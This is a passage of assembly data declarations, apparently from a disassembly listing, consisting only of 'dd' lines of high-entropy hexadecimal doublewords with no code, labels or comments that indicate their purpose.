		dd 5140717Dh, 747B3BD2h, 1B46DA2Ah, 0E5BFF08Bh,	93B1DBC0h
		dd 0F9169F06h, 777E61B4h, 85732A4Dh, 0E917C068h, 0BC018DD0h
		dd 8E5839F8h, 0E9DDE20Fh, 0E4515295h, 51164B39h, 0EA0FC3E5h
		dd 0C9D7CC54h, 69A6362Dh, 4F2F1621h, 19D00027h,	1BEF1052h
		dd 14A6C4h, 0FBA4F950h,	396FFC6h, 0CF1DDCEBh, 0ECF6838Dh
		dd 135F4633h, 4FB7C14Ch, 474EDD5Bh, 0EA14FB84h,	65D9ACCCh
		dd 0A67CD3Ah, 7DB86437h, 0D93E1BC2h, 40657F20h,	0B9E52213h
		dd 40AADB18h, 0C58EA58Fh, 0A165C083h, 941542CEh, 84FF5E44h
		dd 1496BA28h, 62E3361Dh, 0E3A967CAh, 13069AFBh,	0F31E9EF9h
		dd 0CE35FBA0h, 7E4D9402h, 5629461Ch, 0DCEEFD41h, 16358CF5h
		dd 394793C8h, 0A1B28CC6h, 178C0427h, 0EE1B889Bh, 0F7C6E34Dh
		dd 0A3B35388h, 461E4DA1h, 95EBBD29h, 0E9284F44h, 4A0DB168h
		dd 12F83588h, 0A58C7BA2h, 411FC049h, 2A82EA48h,	642CA356h
		dd 0D57F33EAh, 8B2141CBh, 1F89ED1Dh, 0B25770EAh, 0F10EF9CCh
		dd 0ED549B50h, 0C577E3BEh, 0EE3EE468h, 3A6594C4h, 1F89DAECh
		dd 8CEA0511h, 7A04B359h, 487002F5h, 0FB4F7BBFh,	794EF4AEh
		dd 21ABD5AFh, 0B24C112Bh, 8D414F2Bh, 0CEBC0A91h, 89912993h
		dd 6655AC53h, 4880BC0Bh, 47E78B4Eh, 9CC29113h, 6A4927C7h
		dd 2747B75Fh, 0E5AE4FC4h, 15CF5801h, 49551C5Eh,	0A0CAEACAh
		dd 39304F3h, 3E061F7Eh,	3C1A01B9h, 45BB2DB5h, 0BEAB2928h
		dd 6DDE0D7Eh, 45BC30F7h, 1E325764h, 6A3AFF82h, 853C46F4h
		dd 0D9A8D30Eh, 2BDCA129h, 29111491h, 37EE9E36h,	0DC1FA229h
		dd 664A83DCh, 54C6CEC1h, 7FF7223Fh, 51F03DB0h, 1CFFE99h
		dd 4AC0C59Dh, 5D83A00Ch, 0A432D937h, 20D17DDAh,	2D8C1479h
		dd 0E7B3C808h, 3C351E76h, 0FD3AAB31h, 2EB51487h, 1458CFA0h
		dd 9F96898Eh, 0E1A76A24h
		dd 0C7081B7Ch, 953F7E7h, 5FD0F872h, 789471B6h, 0EC443671h
		dd 0B8E24D48h, 748E1639h, 0D01544Dh, 0EC297244h, 9D6FE2BBh
		dd 0C487B491h, 184F6FB5h, 0AF7A0B7Ch, 5D7DB06Eh, 404230E6h
		dd 3F708DBBh, 0FE7342D6h, 4276838Dh, 1F60CD7h, 0E92D84D8h
		dd 0B1C15CB2h, 70AC8D51h, 0C9350DADh, 13B9BB63h, 9302444Bh
		dd 6A733369h, 9D4EFFEh,	704F332Fh, 6FC4F3AAh, 8BF6B3B7h
		dd 793DE586h, 0AF10131Ah, 26D8AF49h, 0D06EA403h, 8069FBCEh
		dd 6802F3A8h, 0C04F7588h, 6C04B58Ah, 36F59BB8h,	555C7C08h
		dd 0E89EF0DCh, 10656EA1h, 785830F8h, 0CA658F9Fh, 45E72A22h
		dd 2F1181D2h, 39E2904Ch, 274B452Dh, 0B61A905h, 1E2637h
		dd 848142F2h, 4823F6FEh, 0FA3B87A7h, 0AAE0D2FAh, 9D978E37h
		dd 0C5C350F6h, 38513FFCh, 0D7C8567Eh, 0F1C7C59Ch, 0EE37BC77h
		dd 6DDE6E51h, 0CBE8C0B4h, 42AAC584h, 0CE7C4948h, 7D19AC08h
		dd 371FFFCh, 0B07E8BB8h, 37D2D6BDh, 21B0AF99h, 29BC6D1Bh
		dd 0AE6A4AA2h, 85470441h, 3B113CBBh, 6A86ABB0h,	0F25DA3CAh
		dd 0D8C0159Ah, 63E2CE7Bh, 1C47E25h, 0C8614BBDh,	0C0E7D014h
		dd 0A1FBE5C1h, 4E08C0B6h, 0F7979994h, 69CC108h,	0AB325B61h
		dd 0B14750CFh, 1F5F47D4h, 677E858Dh, 3D6948DDh,	7D6A6FE5h
		dd 8F462A85h, 51404FC5h, 80ABDCAh, 0F9434F3Dh, 182CD862h
		dd 0BE600870h, 5CDC8E8Eh, 79BD82C9h, 971422A7h,	0DEA71BD4h
		dd 0E1021AA7h, 62B13C5Dh, 5C665DB6h, 6F2A58EBh,	871E4D82h
		dd 7743D38Eh, 55171B7Fh, 0BFA248A8h, 75309722h,	0F46B445h
		dd 6FA2A79Dh, 0D8D91667h, 5F0232E7h, 0EE636139h, 59060387h
		dd 91AE9883h, 0BCE5D6A4h, 0D5D31E2Ah, 0C3644247h, 0B98FF99h
		dd 62EFD878h, 9A936FC1h, 0DE4BD53Fh, 0B6F63DBEh, 74204153h
		dd 0B8CF8C5Bh, 0A2FC8E4Eh, 52C2FAC9h, 9991508Ah, 7050249Eh
		dd 0DDFE0F6h, 48B42677h, 0FBDFDC1Ah, 71D8A697h,	14DF3819h
		dd 2DA812EEh, 15F81497h, 0B8EE204Fh, 8E41E0CCh,	154A8ED8h
		dd 0DA10002Eh, 0C903567h, 0CB252754h, 86B3A792h, 0A911CFE2h
		dd 0FD50AEC3h, 953B404Ch, 0A27A08C5h, 60CEDA7Fh, 60FCA776h
		dd 47AE68FDh, 7CABBC72h, 7D0DB719h, 7E447D66h, 0AADCAB04h
		dd 9A6F36D5h, 69C3470Ch, 3EA271DEh, 889670A4h, 73F16BDh
		dd 0AB94BF81h, 223264E7h, 3A7C8546h, 651292EDh,	3875B57Dh
		dd 5FFA63AFh, 7A0D5B7Ch, 9C6A3D8Bh, 1BA3F05Ch, 0BE638C81h
		dd 418D89A9h, 0E10D55ADh, 2C54B919h, 22B86A6Ch,	8B272D7h
		dd 78D61FE2h, 4B54EECDh, 0EB804264h, 0FC25C882h, 5B249405h
		dd 44A9AD00h, 0ED415F98h, 112E3BD4h, 0FEC55AC7h, 0A501E4CFh
		dd 8D8FE851h, 0F6A22B0Fh, 390E0C06h, 1E1F41A6h,	0F495B8h
		dd 778D0035h, 0FF915FFFh, 0EB175BCDh, 1AA0B181h, 28CA1E0h
		dd 0A97A7B71h, 3A2D5A79h, 97138072h, 1361DF20h,	50BE7622h
		dd 0FECAAC92h, 11C47F3Bh, 0C9BB026Bh, 0A7BC5CC1h, 0E6452801h
		dd 7464DBE3h, 0DE49AAF7h, 0EC445D2Ch, 8AFAA249h, 0D6202B48h
		dd 7B50B7ACh, 0FECD2A3Bh, 0FA0DFBCEh, 0E18462C5h, 67EB7D61h
		dd 0BE282295h, 41368473h, 136FBDC2h, 0C587B8B7h, 7E4D8D23h
		dd 0C6C1695Dh, 51C4F4F2h, 7B59E005h, 91BBE8C7h,	96BC24F6h
		dd 0B112135Eh, 0CD481555h, 19E438E6h, 0F98F88C5h, 0BEE2632h
		dd 0B7D689B1h, 9C92A159h, 0C763612Eh, 0EE04A460h, 487129C7h
		dd 0A6D43BC5h, 970141D4h, 0FFDE41DCh, 9D28E931h, 0E8800DEEh
		dd 15D8012Ch, 644F3881h, 5910E362h, 943E2053h, 0CDE4A1ADh
		dd 95B600FBh, 0F0B43E23h, 96AFCD58h, 0C8E4D341h, 0FEFFB29Fh
		dd 0A65EEB14h, 6E786EE7h, 794FEB3Dh, 384EAC36h,	3F0D1F3h
		dd 5EDF676Ah, 355496A3h, 962EB8A6h, 385047E6h, 0BE53FFE6h
		dd 0AACBFC2Dh, 0FD784172h, 6F17AAAh, 0AF1717C6h, 575FC0C1h
		dd 0DCBC0540h, 535DC221h, 795914C5h, 0C79478ACh, 0F5CF42B0h
		dd 0B18C938Dh, 57C7E913h, 0BF18992Bh, 0ED22FF8h, 9C5089ABh
		dd 2BAB211Bh, 8AAF0DDEh, 7C9209BFh, 67C851F2h, 0E8FE9381h
		dd 7D7FB9E8h, 903193B2h, 0DDB8EE83h, 4E4B265Ah,	3EAB32B7h
		dd 1C77E013h, 4D807A02h, 0AD761D54h, 646A99Ah, 86C59819h
		dd 81359949h, 0E13AB86Ch, 0C8DA4486h, 389326D4h, 9304BA3Dh
		dd 4C63E3F8h, 6BDEE363h, 0DFEA217Ah, 0CA0CC31h,	0DFEC93BDh
		dd 452B959Fh, 33255156h, 42AB35FFh, 9028D474h, 60149861h
		dd 90ABE4DAh, 1D0BAF33h, 0DB0CFFF2h, 102AB39Bh,	0E70F2216h
		dd 0BB9C736Eh, 1B723B14h, 0DC8F6BFh, 4B608D75h,	8DFBA1BDh
		dd 9BE87999h, 87F90925h, 903B3CDh, 99B1063Ah, 812E7645h
		dd 90CEAEFEh, 3C6CBB8h,	0C255E63Ch, 0E9481F79h,	5AE03380h
		dd 0C36D0AB7h, 4380286h, 0BA359513h, 0FF07119Fh, 6EA1C175h
		dd 0D3ED9AE0h, 0B70D0B15h, 2D5F3DA1h, 0FF1A2A3Eh, 4FEAEB2Fh
		dd 0FC6DB6A4h, 0EF1602F1h, 0D1434432h, 9F268372h, 1A5BF777h
		dd 0BB12B730h, 0E932E541h, 9614C0F3h, 0F21707E3h, 0F962D61Ch
		dd 0F26256EFh, 24E06FDEh, 0A0994E1Bh, 0B0388768h, 6A23DD98h
		dd 944C024Ch, 0A97B38F7h, 0D9777536h, 1F21F4BFh, 3E301B1Ah
		dd 8F4D0EA0h, 960EFAB7h, 0B13D97EDh, 25C6D34Eh,	128EE1BDh
		dd 57D5B40Eh, 8168829Dh, 733CFE17h, 9640A2BEh, 949719C8h
		dd 0E41521B5h, 0D71795F2h, 5142B128h, 0E2704C52h, 0AD036A96h
		dd 21BF71E1h, 2F36707Ah, 8721AE30h, 907096E2h, 0D5E1029Ch
		dd 5A170AEh, 0BF6B8222h, 4D9C09E1h, 6D6CED01h, 0C59FCEE8h
		dd 628A6E3Bh, 737E6D46h, 2F3D1761h, 0CF474640h,	0E3C84A21h
		dd 0A0106F0Bh, 0BF94CF86h, 3DFD95DBh, 6A35E9E8h, 3C90481Fh
		dd 0E9AD3789h, 363A7792h, 58C1935Ah, 522A2030h,	0FE685Bh
		dd 78839FDh, 0BA28758Ah, 169EFBEh, 4BC22B95h, 971A439Ch
		dd 278B6940h, 1A404000h, 62FC4765h, 27DF07Ah, 24A0653Ch
		dd 0AB6A7638h, 0FEAD20B1h, 0E8C2DB6h, 0AB423953h, 0CDEF7911h
		dd 36A34D96h, 0EB653001h, 38F44B27h, 2C19EB5Fh,	0E5E3E503h
		dd 30492086h, 0D83BABEAh, 677BB89Bh, 0F9914F00h, 0CCAC0324h
		dd 0BD5F6772h, 5B30478Fh, 5B41F7C7h, 0CE5B33CDh, 51EB98DDh
		dd 0DA0C25E4h, 6A6E4517h, 56A8AC6h, 0BB602F52h,	2075AB13h
		dd 2C4C2766h, 598698BAh, 3863F05Bh, 33E562A9h, 0D6575D6Ah
		dd 0A1546FFCh, 77E3E53Dh, 0FB7B026Ah, 9D6C172Ah, 82F16977h
		dd 0D792CDC9h, 3F65192Dh, 17224EA7h, 0DE9BDBB2h, 0F4DD105Bh
		dd 1FAF1C38h, 87836E1Fh, 0D735DDDEh, 7D004A7Ch,	355965BBh
		dd 86F098A5h, 48B9B889h, 0FE4F7025h, 0C35E83AEh, 0D4AFEEAFh
		dd 0B57C762Eh, 8CC864C7h, 5DB3D69Bh, 7087AFC0h,	4F7D4273h
		dd 2E461647h, 0C8F82CA9h, 0EAAD9A68h, 31B4CCE9h, 0A8978CC1h
		dd 827A9FB2h, 0EB32D610h, 0D7B4090Ch, 4908C734h, 24E72B4Eh
		dd 69EECBE7h, 0B2C78961h, 0EB708B08h, 74147750h, 0EEE8BB5h
		dd 0ADF030C9h, 9A0AA92Bh, 57442853h, 0C92F2262h, 97343978h
		dd 0DBE91F38h, 0CB383D53h, 5125FB84h, 0C2D971BBh, 0E6EAB7FFh
		dd 0B9BC280Eh, 24185A10h, 0BC0437CCh, 0F682A9h,	0AF546B10h
		dd 15E65379h, 5706028Dh, 0C56EE579h, 49CAEA72h,	98640859h
		dd 5E38D30Dh, 1D17718Eh, 0E022F205h, 0D69498BDh, 87C59A5Ch
		dd 1020BB00h, 6A0B8884h, 0CA9B558Dh, 1796F2D4h,	82214E27h
		dd 0FE2FC207h, 942B03E2h, 5378217Eh, 0AD684472h, 45E4A967h
		dd 0FDF8389Eh, 57A8E339h
		dd 0F86657C5h, 0A1642BBCh, 52B7EFBDh, 2520C4FEh, 4E87E289h
		dd 99E550CDh, 0C223E27Fh, 5121C921h, 0EF412FA4h, 11FADC70h
		dd 3FDC5411h, 0CDDC5F7h, 0D8A5F1E6h, 0A7F61136h, 24A393EFh
		dd 0BC1FA38Fh, 7D06AF9Eh, 0ACC475C3h, 178B2338h, 8F15C6CDh
		dd 1F4986Ch, 0E9078BDBh, 2A1BCB74h, 0F1F1EEC2h,	67832586h
		dd 13D4987Ch, 0CFFA3CB5h, 93A44A17h, 69399EF9h,	95C0410Ch
		dd 0B17FE072h, 0AED2CB56h, 0E51B5A0h, 0FD7CD39Bh, 0AF91FB38h
		dd 1825033Eh, 1188FBD6h, 96FFFD48h, 47D6895h, 6EF547AFh
		dd 0D5189AFh, 7A9723AFh, 34C274EBh, 0C9EB62F3h,	0D79C050Bh
		dd 0DD57C39Eh, 3CBC8FABh, 63500222h, 9C247901h,	6240D053h
		dd 6E4F51AEh, 50E58313h, 3E44232h, 0AFA3F1Dh, 0FA2116DCh
		dd 0F6BFA5EFh, 986CB8h,	800021F9h, 7751A90Dh, 0F35990EBh
		dd 2B931000h, 23A191Ah,	14BC56DEh, 6F0492EBh, 889BAA64h
		dd 0C9B2121Fh, 0F1F1813h, 0DC4A254Fh, 6AB77181h, 552C9AF1h
		dd 0C3F21EF4h, 0D4F69C59h, 89B93624h, 0F507255Ch, 425CFE74h
		dd 63156DD0h, 9C647DB5h, 0DCBAF2AFh, 0D7BE9B7Ch, 0F3270054h
		dd 98027E16h, 6282102Fh, 50BFABCFh, 0D30BA5C9h,	5DE060D2h
		dd 0FC8A0E4Ch, 3DCF3D89h, 873B6E6Bh, 0E5F73BD6h, 27138F8Ch
		dd 0C1CEFC4Fh, 463950D4h, 450188B9h, 81AE3695h,	84E5BFE5h
		dd 2511D670h, 0D15391h,	4B928152h, 0D44A2698h, 5356B8ECh
		dd 0DF1F6984h, 1D10AC54h, 69EAC7D9h, 0BA871B49h, 10D85912h
		dd 93C7199Fh, 0A65A12F0h, 8AE2F4F4h, 930B02EBh,	0A95EBF2Dh
		dd 0E7094460h, 550F82F1h, 8DFC5149h, 0D4EDB5C5h, 0CEB39961h
		dd 11A7E971h, 64D06BC5h, 0B2290DF2h, 6BC091FAh,	4B9DAEEAh
		dd 0E633859Eh, 7A27AE5Fh, 0B541B432h, 4E16BB7h,	82DF8033h
		dd 65DBA939h, 6C06A94Ch, 57AE35A1h, 0FD7086B1h,	9CB920CCh
		dd 0DC94AEECh, 44B40CFAh, 0ED45F750h, 0F0F6F88Ch, 0F3DE6194h
		dd 38D6DD62h, 0DF297B81h, 0EFC175D4h, 55AB9D1Dh, 71E5DD1Eh
		dd 4AD8BCC1h, 85CD7070h, 1EBAF90h, 0FCAAEF60h, 4157E4E8h
		dd 9BDD23C5h, 617372C5h, 0AD835894h, 1FA0A0C4h,	0B7D1B8CFh
		dd 4E4DD2C4h, 968836B0h, 492CFC46h, 33D96E52h, 0A68722BDh
		dd 21C86DA5h, 0C35408C1h, 90B92058h, 53B05E8Fh,	52A616F5h
		dd 0BB41F47Bh, 917C91C9h, 87EFA463h, 0E101F3CFh, 8F9CE4Eh
		dd 0E9D294F9h, 4E9C603Bh, 486C8BB6h, 0FA0B1885h, 0E6775C3Bh
		dd 4296A388h, 9EF815ECh, 4AFFA80Eh, 2B05EC0Ah, 0D90BB622h
		dd 1B56A217h, 0F24415BDh, 3B81EFCBh, 0CC67F336h, 7A57726Bh
		dd 0A000BF28h, 228ED46Ch, 0F1E7A3ADh, 0A40D11DFh, 0C374F73Bh
		dd 2B27033Fh, 6C956719h, 5A652650h, 3914A99Ch, 491BEA76h
		dd 232E9034h, 0F8677856h, 87FA8148h, 816B60FFh,	0F5F8C0EAh
		dd 69E7012h, 91B8A116h,	1AE30B4Fh, 0D6C79D7Eh, 0E68C0715h
		dd 0A2EC5607h, 0EF470E33h, 60DA67CEh, 0E4C85DC7h, 0DB88BA12h
		dd 10176FD9h, 9522F3E0h, 4E9CC6B6h, 44B69CE3h, 601FC9BAh
		dd 8D8FC432h, 5162DF5Eh, 0E5496EE7h, 59A98E8Ah,	138F652Ah
		dd 0E785E92Bh, 0B3FEEE7Dh, 34D2AA15h, 8743CF3Bh, 5E00C666h
		dd 98629FC6h, 0D23ED641h, 0F1172CEFh, 22851A31h, 37CB6649h
		dd 4AC76BE5h, 0C22D72E0h, 7094E07Dh, 834CF757h,	5E5C287Bh
		dd 0D9BAC4B6h, 28634F39h, 1758F991h, 25C40903h,	0F938CAA7h
		dd 734F14E1h, 0B1A18D3Fh, 85E37010h, 3E2F79FDh,	4B286B0Ah
		dd 6B99DA84h, 0CE9C26D0h, 0DB07E3ECh, 2E9F76BCh, 583A73C8h
		dd 9F47C47Eh, 8850325Ah, 36DED5CEh, 25E2B516h, 516581BAh
		dd 21DFE4Eh, 1C331E7Ah,	0DF06E508h, 90C40A68h, 0C4A6650Fh
		dd 0BEBAEFAEh, 7185F66Ah, 0CAD5C361h, 395C209h,	8605B417h
		dd 0D76A19A3h, 91D05D4h, 0C4D1F73Ah, 0F7FFFE83h, 0A7A70887h
		dd 7375418Ah, 2E6BF380h, 0C804E682h, 90366B5Ah,	9CB6549Dh
		dd 0FEB9B875h, 88AF1828h, 0CEE7D9D2h, 47191503h, 0D3634F38h
		dd 84BD3A48h, 0D87016Ah, 4D1714FBh, 442AB4B5h, 2C5B46DDh
		dd 7073F9D7h, 9D94F771h, 0ABC9640Eh, 22172B6Bh,	6830940Fh
		dd 0C832C69Eh, 0F598792Bh, 57489CF5h, 4486A943h, 226D4BDEh
		dd 0E9CB9602h, 44CF87D7h, 897FCE05h, 0E860AD42h, 0EA830E62h
		dd 0D15BBF21h, 78C27E46h, 928A2827h, 7A6C934h, 671E0034h
		dd 0C68B7076h, 0B204F1D4h, 99D144A5h, 0D0E485ECh, 0A2802665h
		dd 38E2EF44h, 2B47A3CAh, 87C476D1h, 31DEBE95h, 81AA04ABh
		dd 0BE9E4CC5h, 0FCE1EEB2h, 0C94492D2h, 0CCA7A7C5h, 558622CEh
		dd 1D5C35A1h, 0D09C74EBh, 4A0A0F52h, 0D4B88747h, 7F29B900h
		dd 6AE9856Ah, 0B7CA3DD6h, 367F09FAh, 0F9CE7888h, 9C845BB8h
		dd 0FD0F8291h, 53584C2h, 4E0AA60h, 5C5526E8h, 22A9544Eh
		dd 4A4EFF9Dh, 7E9D594Ah, 93E54694h, 5AE1FD32h, 3B776FE4h
		dd 0F222E1D4h, 0CB9D97ABh, 1CC3FD7Fh, 8839B03Ch, 9E5A3AC8h
		dd 13EA301Dh, 0A34BF6D8h, 217154EFh, 0BB5B25FAh, 27DB2539h
		dd 8DF5FA6Bh, 6CB09264h, 0E2E7C2DDh, 68774E7Ch,	0A598B8Bh
		dd 0D0C5F4D8h, 636EBA41h, 9A8EB625h, 857A6580h,	3E025EC4h
		dd 0AF83EA95h, 0EA96590Dh, 32476441h, 0EA56D016h, 45E71A33h
		dd 86CFBF83h, 7911C588h, 5E01A1E5h, 7CE28E35h, 8BCD288Fh
		dd 4910912h, 5857416Fh,	0E535B7C2h, 0A61512FEh,	71ED34E6h
		dd 8FE7DD58h, 0EB176C65h, 8F367288h, 0E7531FA7h, 6F11E739h
		dd 0D9DD83FEh, 0AB28E9B8h, 84322485h, 0D4F912F4h, 0A7091C38h
		dd 860A6B91h, 902EF1B2h, 294F2D59h, 5C172BD7h, 0C12FBFEEh
		dd 8D31B795h, 18F859B2h, 0C46947F1h, 598F35C1h,	0B9329805h
		dd 3CD5CECDh, 69BC108Ch, 0B24F1078h, 41104969h,	0C424E9F6h
		dd 19B2DB31h, 960736Ch,	0D784A0C2h, 250E8C2Fh, 0E41386A7h
		dd 4350BF78h, 4AC2BD5Ah, 0ADC9E1D1h, 8089E70Eh,	0B7A20279h
		dd 0E4D716E7h, 30032E28h, 1EB38011h, 6FC1F543h,	3A8381C0h
		dd 32039EE7h, 0A67930F2h, 0E47F2520h, 3A392821h, 9812A4F9h
		dd 6A8F6963h, 6BDBE6F5h, 9151B6A2h, 8159626Fh, 0FCC38004h
		dd 6AE7F9EDh, 0DC395DE1h, 0DFC7B408h, 0AAEB5EF5h, 0B59BE205h
		dd 81B22143h, 0FAAC1EF2h, 46A31EB1h, 0D63676DBh, 0C439804h
		dd 93DE5E84h, 601C530Bh, 0BAF9D366h, 61B27400h,	9BA341A8h
		dd 73FE2E84h, 0D57838BCh, 0F18810D0h, 9FDE63BBh, 0B56C8BA4h
		dd 40E7C941h, 0FF9C6CFFh, 94B71563h, 202F336Ch,	6AD0831Eh
		dd 0DB1155DFh, 99885DD3h, 0AB250D79h, 0A4061427h, 0B9DF1FB8h
		dd 16767231h, 536971D9h, 8FB62E82h, 43979ACCh, 0A1E1E089h
		dd 147CE7DBh, 6FE2D61Bh, 4A12E383h, 1C62F441h, 3D7026EEh
		dd 43C8CF5Ch, 5FDAB13h,	1E6561DEh, 600D2562h, 83DF9881h
		dd 0DB98F7C7h, 0DD1BAF3Dh, 0D142B85Eh, 2D43692h, 5E3083E4h
		dd 0C79011DFh, 71AC0ECAh, 0A45AEC0Fh, 0FE63A4DCh, 0CE9A89FBh
		dd 34D7A939h, 0B8DFAD08h, 34C3BCBCh, 359D381Eh,	188354AEh
		dd 6EF72FB9h, 77789C64h, 0F2F90B9Ch, 7625A72Fh,	7D7E6D6Eh
		dd 3D7CA5C3h, 6365F20h,	7F431844h, 967BA9C0h, 0B20D0F8Ah
		dd 59B5ED89h, 40DDA05h,	84DA5DB1h, 8E5A2F83h, 121EFD14h
		dd 0F6703536h, 8BBACE54h, 3FC2CB44h, 80396D3Bh,	0EBFC2B71h
		dd 1B1F973h, 294BAAE1h,	9A93E86Ah, 37A89852h, 8DC0BCB4h
		dd 89DA93DCh, 478E136h,	0BAEFF6B0h, 3800C87Ah, 977FBAEBh
		dd 0FA911041h, 368419F6h
		dd 4F9409AFh, 4C33BC8Fh, 7821CBB9h, 8060F4F1h, 712B86ABh
		dd 2E178146h, 0E8DB66BAh, 0EC1E936Ah, 0D3A3E9DDh, 76F715D5h
		dd 0C4F4ECDDh, 1B77D4AEh, 956A0AAEh, 0C0DCAE1h,	83D4AF76h
		dd 3D053558h, 0CD485063h, 0E0CBF2D6h, 475A06A7h, 5AFE2900h
		dd 0D1FC9961h, 32720B52h, 0BE24A4AEh, 2A8FF1Bh,	3AB78175h
		dd 3E047631h, 346D9656h, 0D1E095D9h, 5B089BF8h,	954C8CEFh
		dd 4163EFh, 3930399Ah, 7905D222h, 62E36395h, 0B5C8E0EEh
		dd 6E7BA17Ah, 0E6DF6B53h, 54D6DE03h, 2D142D7Ah,	0A0E89D3Ah
		dd 729F9C15h, 33F80C9Ah, 0D393649h, 2481A0Dh, 675C5732h
		dd 543312E8h, 0E67396B4h, 13D7C176h, 56A8C810h,	30BEDC52h
		dd 0EB43A0F7h, 1BCC2709h, 4ECC4C4Eh, 0E931379Ch, 657C2326h
		dd 370E51Fh, 4FBBD76Fh,	9F1112C8h, 0D246149Ch, 0C4311AE4h
		dd 0ECAD6C21h, 0B28B62EBh, 0F83AC27Bh, 9EAA195Bh, 0A9C07142h
		dd 605E98C7h, 33207A4Eh, 10C9CD14h, 2714CBDDh, 0A92D20CCh
		dd 54E1AF60h, 79349F36h, 321C3E28h, 151A64C0h, 0F87E78D0h
		dd 0A253D780h, 911328B2h, 4F11AE40h, 0E35093CFh, 1711FB54h
		dd 5CA15E98h, 7B1C3772h, 0CB805BD7h, 87099E7h, 0CAAD53Ch
		dd 39E0A677h, 0ACDDEA7Fh, 0B3312E07h, 3DD18671h, 0D7466DA4h
		dd 26F853F6h, 1328DE5h,	0DC4F9FA6h, 2D435862h, 0EC5AF123h
		dd 715DC99Ah, 3B35F09Dh, 74D6BFF3h, 0B29C9D3Fh,	0B802F04Ah
		dd 8E76C3B0h, 0FBC6BBD1h, 0F5358400h, 354EACCFh, 68DD540Bh
		dd 6BEF26Fh, 45946231h,	0FF7108BEh, 7309FCEBh, 520274A3h
		dd 80744B2Ah, 3B8AF8E1h, 96733999h, 29B5B6F2h, 0A9DF3F43h
		dd 9B06EB5Fh, 578E675Fh, 0ABEFDC3Bh, 93B2527Fh,	0A0BA24B3h
		dd 654BACEAh, 0A137B907h, 2446563Ch, 0EB40B016h, 0A2716919h
		dd 348B7FEAh, 0AC739AAEh, 77D1F139h, 65CA8906h,	224A498Dh
		dd 0BF1EDA34h, 0EC7B9D9Ah, 0AF5D1AC7h, 5D18F47Eh, 1F838A19h
		dd 477E25F1h, 45DFC62Dh, 904F33A4h, 0BBA87079h,	0D491C7EFh
		dd 61AA6A71h, 5CD7221Bh, 0A2568FB8h, 0F722D1B3h, 0AEEC756h
		dd 0E362BE3Ah, 0E2681AF2h, 292D4536h, 0C613FC0Fh, 0B618CCE8h
		dd 0BA033B67h, 0C3541570h, 0FAB07606h, 647D9A8Eh, 2A577DBEh
		dd 31AD1F3Dh, 0CF4E2AB3h, 0C1D1A97h, 0B5918D62h, 0A178B79Eh
		dd 81EF3FC2h, 406F7EB2h, 76EBBCF7h, 87D7A48Ch, 0AF76D4F3h
		dd 8B169E07h, 1908D889h, 72EA26B7h, 772A1DEAh, 811421FAh
		dd 0E0686FADh, 0AD57767h, 9F6FC0h, 2EE5AEDCh, 0C974560Ch
		dd 1296EFD5h, 87C10277h, 0C4D51C17h, 0B97EE651h, 5ED87A2Fh
		dd 0BCFE5E19h, 0D89B14C4h, 0B4AB6D25h, 0EC1D3465h, 193D45B6h
		dd 7284F05Ah, 0F1D5D8F9h, 0D7402638h, 97D7B0DBh, 0B3B6E835h
		dd 0A0A8341Ch, 2018E3C2h, 5C1AA6CDh, 9B862944h,	7728B8D3h
		dd 5820CD7Ah, 0B0584EEh, 3874CC8h, 36D06A83h, 82C3F818h
		dd 608084E8h, 0DAD2437Ch, 0E30626F5h, 34CC2B64h, 0DCE972BBh
		dd 8245517Bh, 0D566B05Bh, 2C2942C3h, 9021A6ACh,	0A55592D8h
		dd 0A855117h, 54F532FBh, 0BDC6D730h, 0F0B5E4Eh,	0EF8B8E4Fh
		dd 195643C5h, 0A14DEAE8h, 729E484Bh, 0FFE7A2E4h, 0FA49BE65h
		dd 463AE10h, 0C4CCABA9h, 632EA53Fh, 108B2BA8h, 0CA3E8B4Dh
		dd 58373356h, 0FE4D5BFBh, 1843BEA2h, 41128B8h, 29A78231h
		dd 1EB779D4h, 0ED6FBDBEh, 0CA76A36Eh, 141CC1A8h, 1CAF56DEh
		dd 0DE30D319h, 452EE592h, 843C6F76h, 4A0FF05Ah,	0CB7AEBBCh
		dd 37BDFB02h, 0F2E1B9FAh, 38E0DA09h, 0AF530756h, 5C038498h
		dd 0B58FF808h, 0DFCF93C9h, 0B62D7DB6h, 0E229F64Ah, 0FC63C702h
		dd 12BC47E3h, 3ED2311Ah, 0DB4B3C77h, 2A74FB12h,	831B54AFh
		dd 0A0553528h, 335F572Dh, 772D0A39h, 0E06C427Bh, 0C4AA2A5h
		dd 423C55FEh, 96D2906Bh, 0A6B98659h, 68C4F673h,	0EC0DB5F9h
		dd 16DCC4BCh, 0EFB44391h, 0A261CF48h, 578E10ECh, 0D15A159Ah
		dd 201F816Fh, 0DD50D204h, 85C48467h, 0A1E5BF16h, 637716DAh
		dd 3D7DE2F0h, 45FA4A21h, 0B6EC113Ch, 1E358CCEh,	1E6644C4h
		dd 8327D4D8h, 70BF1DBh,	0CDEE3DA1h, 3724FEEAh, 0ABDCA2DFh
		dd 2CFA1197h, 4436344Bh, 79A313BFh, 0CFE588C8h,	0C7AA95B8h
		dd 0E87CC394h, 0E8DCDCFBh, 6DAB3CDh, 0A73C2BCBh, 7AD0019Ch
		dd 4966F75Ch, 0A9B9A09Ch, 3ECD6261h, 0D3937D75h, 0B2E5AFFFh
		dd 5CF7DA4Fh, 3ACC8DA7h, 0AA5964B3h, 0FE9BAD91h, 4A30BAACh
		dd 42ECACF8h, 5EAECB78h, 20370DB4h, 89359ED9h, 46EE8E26h
		dd 0DC1788F5h, 0A7BBF7C0h, 0D47BCF7Bh, 0A69C1B1h, 0F89A475Dh
		dd 0EA5D426Ch, 0AF871DE0h, 0ECBB6607h, 595C4F44h, 0CA678653h
		dd 0FA4DD84Bh, 0EB9A45CAh, 8D8D42E6h, 63B36093h, 0FB6EB436h
		dd 0AB012109h, 77FB798Ah, 0BC8C7D3Bh, 615D91D4h, 34BED543h
		dd 78F74C32h, 428E8A87h, 0A88A9D3Ah, 38A3D17Bh,	223A6697h
		dd 7CB64F01h, 9185C89Eh, 409B3AA9h, 0B24B3C9h, 0FEE7EB27h
		dd 0BBCF84FFh, 0D21E6E65h, 70013AFAh, 0CE93669Dh, 78A15CB8h
		dd 69F32E39h, 8F4CEFC3h, 0F220774Bh, 0BFADA4h, 6B56CCBCh
		dd 0F0C89152h, 4FD2469Fh, 2D91CA69h, 69D6BE9h, 0B7759628h
		dd 21143F30h, 3B14FDD9h, 59FF088h, 80274047h, 662BC08Ah
		dd 50C4C4C2h, 0E1A99809h, 0A028FF04h, 4E3DC7C6h, 0D1E1EA81h
		dd 1301400Eh, 0C14E132Dh, 91779E5Dh, 0C2CFC58h,	3441089Dh
